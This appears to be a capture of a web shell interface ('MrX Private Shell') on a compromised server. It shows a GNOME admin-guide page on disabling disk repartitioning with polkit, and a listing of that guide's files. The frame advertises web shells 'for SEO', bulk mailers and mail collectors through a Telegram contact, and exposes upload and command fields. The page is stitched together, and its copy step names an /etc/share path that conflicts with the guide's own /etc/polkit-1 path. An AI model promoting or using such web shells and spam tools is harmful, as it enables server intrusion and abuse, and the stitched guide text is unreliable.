__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<page xmlns="http://projectmallard.org/1.0/"
      xmlns:its="http://www.w3.org/2005/11/its"
      type="topic" style="task"
      id="lockdown-repartitioning">

  <info>
    <link type="guide" xref="user-settings#lockdown"/>
    <link type="seealso" xref="dconf-lockdown" />
    <revision pkgversion="3.14" date="2014-12-10" status="review"/>

    <credit type="author copyright">
      <name>Jana Svarova</name>
      <email>[email protected]</email>
      <years>2014</years>
    </credit>
    <credit type="copyright editor">
      <name>Ekaterina Gerasimova</name>
      <email>[email protected]</email>
      <years>2014</years>
    </credit>

    <include href="legal.xml" xmlns="http://www.w3.org/2001/XInclude"/>

    <desc>Prevent the user from changing disk partitions.</desc>
  </info>

  <title>Disable repartitioning</title>

  <p><sys>polkit</sys> enables you to set permissions for individual
  operations. For <sys>udisks2</sys>, the utility for disk management services,
  the configuration is located at
  <file>/usr/share/polkit-1/actions/org.freedesktop.udisks2.policy</file>. This
  file contains a set of actions and default values, which can be overridden by
  system administrator.</p>

  <note style="tip">
    <p>The <sys>polkit</sys> configuration in <file>/etc</file> overrides that
    shipped by packages in <file>/usr/share</file>.</p>
  </note>

  <steps>
    <title>Disable repartitioning</title>
    <item>
      <p>Create a file with the same content as in
      <file>/usr/share/polkit-1/actions/org.freedesktop.udisks2.policy</file>:
      <cmd>cp /usr/share/polkit-1/actions/org.freedesktop.udisks2.policy /etc/share/polkit-1/actions/org.freedesktop.udisks2.policy</cmd></p>
      <note style="important">
        <p>Do not change the
        <file>/usr/share/polkit-1/actions/org.freedesktop.udisks2.policy</file>
        file, your changes will be overwritten by the next package update.</p>
      </note>
    </item>
    <item>
      <p>Delete any actions you do not need from within the
      <code>policyconfig</code> element and add the following lines to the
      <file>/etc/polkit-1/actions/org.freedesktop.udisks2.policy</file>
      file:</p>
      <listing>
<code><![CDATA[
  <action id="org.freedesktop.udisks2.modify-device">
     <description>Modify the drive settings</description>
     <message>Authentication is required to modify drive settings</message>
    <defaults>
      <allow_any>no</allow_any>
      <allow_inactive>no</allow_inactive>
      <allow_active>yes</allow_active>
    </defaults>
</action>
]]></code>
      </listing>
      <p>Replace <code>no</code> by <code>auth_admin</code> if you want to
      ensure only the root user is able to carry out the action.</p>
    </item>
    <item>
      <p>Save the changes.</p>
    </item>
  </steps>

  <p>When the user tries to change the disk settings, the following message is
  shown: <gui>Authentication is required to modify drive settings</gui>.</p>

</page>

Filemanager

Name Type Size Permission Actions
appearance.page File 538 B 0644
autostart-applications.page File 1.88 KB 0644
backgrounds-extra.page File 4.6 KB 0644
dconf-custom-defaults.page File 4.03 KB 0644
dconf-keyfiles.page File 3.09 KB 0644
dconf-lockdown.page File 3 KB 0644
dconf-nfs-home.page File 2.97 KB 0644
dconf-profiles.page File 3.99 KB 0644
dconf-snippets.xml File 1.62 KB 0644
dconf.page File 2.02 KB 0644
desktop-background.page File 3.75 KB 0644
desktop-favorite-applications.page File 4.34 KB 0644
desktop-lockscreen.page File 3.02 KB 0644
desktop-shield.page File 2.91 KB 0644
extensions-enable.page File 2.44 KB 0644
extensions-lockdown.page File 3.36 KB 0644
extensions.page File 1.82 KB 0644
fonts-user.page File 1.7 KB 0644
fonts.page File 2.53 KB 0644
gsettings-browse.page File 2.65 KB 0644
index.page File 593 B 0644
keyboard-compose-key.page File 2.43 KB 0644
keyboard-layout.page File 3.93 KB 0644
legal.xml File 295 B 0644
lockdown-command-line.page File 4.74 KB 0644
lockdown-file-saving.page File 2.8 KB 0644
lockdown-logout.page File 2.46 KB 0644
lockdown-online-accounts.page File 3.34 KB 0644
lockdown-printing.page File 2.74 KB 0644
lockdown-repartitioning.page File 2.92 KB 0644
lockdown-single-app-mode.page File 5.87 KB 0644
login-automatic.page File 2.59 KB 0644
login-banner.page File 2.59 KB 0644
login-enterprise.page File 4.66 KB 0644
login-fingerprint.page File 2.74 KB 0644
login-logo.page File 3.21 KB 0644
login-userlist-disable.page File 1.84 KB 0644
login.page File 687 B 0644
logout-automatic.page File 4.58 KB 0644
mime-types-application-user.page File 4.04 KB 0644
mime-types-application.page File 4.23 KB 0644
mime-types-custom-user.page File 4.03 KB 0644
mime-types-custom.page File 4.06 KB 0644
mime-types.page File 3.85 KB 0644
network-server-list.page File 2.2 KB 0644
network-vpn.page File 1.6 KB 0644
network.page File 431 B 0644
overrides.page File 1.74 KB 0644
power-dim-screen.page File 3.46 KB 0644
processes.page File 4.54 KB 0644
session-custom.page File 3.58 KB 0644
session-debug.page File 2.22 KB 0644
session-user.page File 3.05 KB 0644
setup.page File 318 B 0644
software.page File 795 B 0644
sundry.page File 387 B 0644
user-settings.page File 870 B 0644
Filemanager